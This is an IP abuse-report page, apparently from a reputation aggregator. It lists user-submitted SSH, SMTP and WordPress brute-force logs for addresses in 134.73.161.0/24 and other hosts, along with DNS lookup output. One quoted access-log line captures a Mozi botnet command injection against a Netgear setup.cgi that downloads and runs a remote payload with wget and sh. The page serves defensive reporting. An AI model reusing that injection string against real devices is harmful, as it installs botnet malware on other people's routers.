Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: EliDC

Hostname: unknown

Organization: Global Frag Networks

Usage Type: Data Center/Web Hosting/Transit

Comments:
Type Details Datetime
attackbots
Jun 29 04:59:59 ACSRAD auth.info sshd[15825]: Invalid user sebastian from 134.73.161.45 port 49766
Jun 29 04:59:59 ACSRAD auth.info sshd[15825]: Failed password for invalid user sebastian from 134.73.161.45 port 49766 ssh2
Jun 29 04:59:59 ACSRAD auth.info sshd[15825]: Received disconnect from 134.73.161.45 port 49766:11: Bye Bye [preauth]
Jun 29 04:59:59 ACSRAD auth.info sshd[15825]: Disconnected from 134.73.161.45 port 49766 [preauth]
Jun 29 04:59:59 ACSRAD auth.notice sshguard[13458]: Attack from "134.73.161.45" on service 100 whostnameh danger 10.
Jun 29 04:59:59 ACSRAD auth.notice sshguard[13458]: Attack from "134.73.161.45" on service 100 whostnameh danger 10.
Jun 29 04:59:59 ACSRAD auth.notice sshguard[13458]: Attack from "134.73.161.45" on service 100 whostnameh danger 10.
Jun 29 04:59:59 ACSRAD auth.warn sshguard[13458]: Blocking "134.73.161.45/32" forever (3 attacks in 0 secs, after 2 abuses over 1666 secs.)


........
-----------------------------------------------
https://www.blocklist.de/en/view.h
2019-07-01 00:36:36
Comments on same subnet:
IP Type Details Datetime
134.73.161.91 attack
vps1:sshd-InvalidUser
2019-08-16 02:34:10
134.73.161.136 attackspam
vps1:pam-generic
2019-08-15 17:51:21
134.73.161.137 attackspam
Aug 14 23:31:06 MK-Soft-VM7 sshd\[13031\]: Invalid user samir from 134.73.161.137 port 58228
Aug 14 23:31:06 MK-Soft-VM7 sshd\[13031\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.73.161.137
Aug 14 23:31:09 MK-Soft-VM7 sshd\[13031\]: Failed password for invalid user samir from 134.73.161.137 port 58228 ssh2
...
2019-08-15 11:09:54
134.73.161.20 attack
Aug 14 23:35:21 MK-Soft-VM7 sshd\[13048\]: Invalid user chase from 134.73.161.20 port 59062
Aug 14 23:35:21 MK-Soft-VM7 sshd\[13048\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.73.161.20
Aug 14 23:35:22 MK-Soft-VM7 sshd\[13048\]: Failed password for invalid user chase from 134.73.161.20 port 59062 ssh2
...
2019-08-15 09:02:05
134.73.161.4 attack
Aug 13 20:17:17 jupiter sshd\[9216\]: Invalid user standort from 134.73.161.4
Aug 13 20:17:17 jupiter sshd\[9216\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.73.161.4
Aug 13 20:17:18 jupiter sshd\[9216\]: Failed password for invalid user standort from 134.73.161.4 port 57184 ssh2
...
2019-08-14 09:12:37
134.73.161.93 attackspam
Aug 13 20:21:52 jupiter sshd\[9325\]: Invalid user cognos from 134.73.161.93
Aug 13 20:21:52 jupiter sshd\[9325\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.73.161.93
Aug 13 20:21:55 jupiter sshd\[9325\]: Failed password for invalid user cognos from 134.73.161.93 port 46046 ssh2
...
2019-08-14 06:43:31
134.73.161.189 attackspam
Aug 13 20:26:25 jupiter sshd\[9389\]: Invalid user nxautomation from 134.73.161.189
Aug 13 20:26:25 jupiter sshd\[9389\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.73.161.189
Aug 13 20:26:27 jupiter sshd\[9389\]: Failed password for invalid user nxautomation from 134.73.161.189 port 44350 ssh2
...
2019-08-14 04:13:06
134.73.161.130 attackbots
Brute force SMTP login attempted.
...
2019-08-13 23:00:08
134.73.161.65 attack
Aug 12 02:29:57 sanyalnet-cloud-vps2 sshd[21642]: Connection from 134.73.161.65 port 45248 on 45.62.253.138 port 22
Aug 12 02:29:59 sanyalnet-cloud-vps2 sshd[21642]: Invalid user fanny from 134.73.161.65 port 45248
Aug 12 02:29:59 sanyalnet-cloud-vps2 sshd[21642]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.73.161.65
Aug 12 02:30:00 sanyalnet-cloud-vps2 sshd[21642]: Failed password for invalid user fanny from 134.73.161.65 port 45248 ssh2
Aug 12 02:30:00 sanyalnet-cloud-vps2 sshd[21642]: Received disconnect from 134.73.161.65 port 45248:11: Bye Bye [preauth]
Aug 12 02:30:01 sanyalnet-cloud-vps2 sshd[21642]: Disconnected from 134.73.161.65 port 45248 [preauth]


........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=134.73.161.65
2019-08-12 11:13:41
134.73.161.91 attackbotsspam
Aug 12 02:34:18 sanyalnet-cloud-vps2 sshd[21742]: Connection from 134.73.161.91 port 48624 on 45.62.253.138 port 22
Aug 12 02:34:19 sanyalnet-cloud-vps2 sshd[21742]: Invalid user cvs from 134.73.161.91 port 48624
Aug 12 02:34:19 sanyalnet-cloud-vps2 sshd[21742]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.73.161.91
Aug 12 02:34:21 sanyalnet-cloud-vps2 sshd[21742]: Failed password for invalid user cvs from 134.73.161.91 port 48624 ssh2
Aug 12 02:34:22 sanyalnet-cloud-vps2 sshd[21742]: Received disconnect from 134.73.161.91 port 48624:11: Bye Bye [preauth]
Aug 12 02:34:22 sanyalnet-cloud-vps2 sshd[21742]: Disconnected from 134.73.161.91 port 48624 [preauth]


........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=134.73.161.91
2019-08-12 11:08:04
134.73.161.159 attackbotsspam
SSH Brute Force
2019-08-11 21:57:14
134.73.161.48 attackspambots
SSH Brute Force
2019-08-11 19:06:55
134.73.161.132 attackbotsspam
SSH Brute Force
2019-08-11 16:44:23
134.73.161.220 attackbotsspam
Aug 10 09:46:01 raspberrypi sshd\[30274\]: Invalid user eric from 134.73.161.220Aug 10 09:46:03 raspberrypi sshd\[30274\]: Failed password for invalid user eric from 134.73.161.220 port 58140 ssh2Aug 10 12:09:47 raspberrypi sshd\[1485\]: Invalid user test2 from 134.73.161.220
...
2019-08-11 05:18:48
134.73.161.57 attack
SSH Bruteforce
2019-08-09 10:40:13
Whois info:
b
Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 134.73.161.45
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5968
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;134.73.161.45.			IN	A

;; AUTHORITY SECTION:
.			3600	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2019063000 1800 900 604800 86400

;; Query time: 2 msec
;; SERVER: 67.207.67.2#53(67.207.67.2)
;; WHEN: Mon Jul 01 00:36:26 CST 2019
;; MSG SIZE  rcvd: 117
Host info
Host 45.161.73.134.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		67.207.67.2
Address:	67.207.67.2#53

** server can't find 45.161.73.134.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
178.209.170.75 attack
178.209.170.75 is unauthorized and has been banned by fail2ban
2020-10-01 17:42:16
182.70.126.192 attackbotsspam
Unauthorised access (Sep 30) SRC=182.70.126.192 LEN=52 TTL=115 ID=16021 DF TCP DPT=445 WINDOW=8192 SYN
2020-10-01 17:49:15
217.182.140.117 attackbots
217.182.140.117 - - [01/Oct/2020:06:22:21 +0100] "POST /wp-login.php HTTP/1.1" 200 2448 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
217.182.140.117 - - [01/Oct/2020:06:22:21 +0100] "POST /wp-login.php HTTP/1.1" 200 2499 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
217.182.140.117 - - [01/Oct/2020:06:22:21 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
...
2020-10-01 17:41:14
213.174.20.109 attackspambots
 TCP (SYN) 213.174.20.109:44648 -> port 1433, len 44
2020-10-01 17:36:50
164.90.190.60 attackspambots
Oct  1 10:46:44 ajax sshd[30254]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=164.90.190.60 
Oct  1 10:46:45 ajax sshd[30254]: Failed password for invalid user scan from 164.90.190.60 port 45050 ssh2
2020-10-01 17:48:01
139.155.79.35 attackspambots
Brute-force attempt banned
2020-10-01 17:55:25
42.224.25.179 attack
42.224.25.179 - - \[30/Sep/2020:22:35:46 +0200\] "GET /setup.cgi\?next_file=netgear.cfg\&todo=syscmd\&cmd=rm+-rf+/tmp/\*\;wget+http://42.224.25.179:49461/Mozi.m+-O+/tmp/netgear\;sh+netgear\&curpath=/\¤tsetting.htm=1 HTTP/1.0" 404 162 "-" "-"
...
2020-10-01 17:49:36
13.82.56.239 attack
" "
2020-10-01 17:38:38
190.0.51.2 attack
Icarus honeypot on github
2020-10-01 18:04:00
106.54.14.42 attackbots
SSH Bruteforce Attempt on Honeypot
2020-10-01 17:33:27
61.151.130.20 attackspambots
(sshd) Failed SSH login from 61.151.130.20 (CN/China/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Oct  1 03:23:47 jbs1 sshd[9232]: Invalid user hari from 61.151.130.20
Oct  1 03:23:47 jbs1 sshd[9232]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.151.130.20 
Oct  1 03:23:49 jbs1 sshd[9232]: Failed password for invalid user hari from 61.151.130.20 port 15747 ssh2
Oct  1 03:38:41 jbs1 sshd[14211]: Invalid user user from 61.151.130.20
Oct  1 03:38:41 jbs1 sshd[14211]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.151.130.20
2020-10-01 17:38:17
185.147.212.8 attackbotsspam
\[Oct  1 18:28:39\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:49850' - Wrong password
\[Oct  1 18:29:14\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:63171' - Wrong password
\[Oct  1 18:29:56\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:61542' - Wrong password
\[Oct  1 18:30:30\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:58462' - Wrong password
\[Oct  1 18:31:02\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:55130' - Wrong password
\[Oct  1 18:31:33\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:51195' - Wrong password
\[Oct  1 18:32:05\] NOTICE\[31025\] chan_sip.c: Registration from '\' fai
...
2020-10-01 17:37:14
45.177.116.105 attackbots
Icarus honeypot on github
2020-10-01 17:43:04
49.233.171.219 attack
Invalid user trade from 49.233.171.219 port 24514
2020-10-01 17:29:14
178.128.61.133 attackspambots
2020-10-01T06:28:59.882411vps-d63064a2 sshd[10573]: Invalid user thor from 178.128.61.133 port 47538
2020-10-01T06:29:02.535511vps-d63064a2 sshd[10573]: Failed password for invalid user thor from 178.128.61.133 port 47538 ssh2
2020-10-01T06:31:58.873841vps-d63064a2 sshd[10609]: User root from 178.128.61.133 not allowed because not listed in AllowUsers
2020-10-01T06:31:58.886620vps-d63064a2 sshd[10609]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.128.61.133  user=root
2020-10-01T06:31:58.873841vps-d63064a2 sshd[10609]: User root from 178.128.61.133 not allowed because not listed in AllowUsers
2020-10-01T06:32:00.771327vps-d63064a2 sshd[10609]: Failed password for invalid user root from 178.128.61.133 port 45832 ssh2
...
2020-10-01 17:56:09

Recently Reported IPs

188.31.182.0 214.176.211.99 222.212.167.21 115.210.110.128
154.234.181.40 212.77.75.211 102.57.110.163 27.50.50.69
107.148.123.65 27.50.50.77 14.9.115.224 61.6.41.160
188.223.176.26 73.167.75.144 212.113.132.65 187.86.194.6
209.5.32.159 183.60.107.23 220.229.148.232 152.117.117.234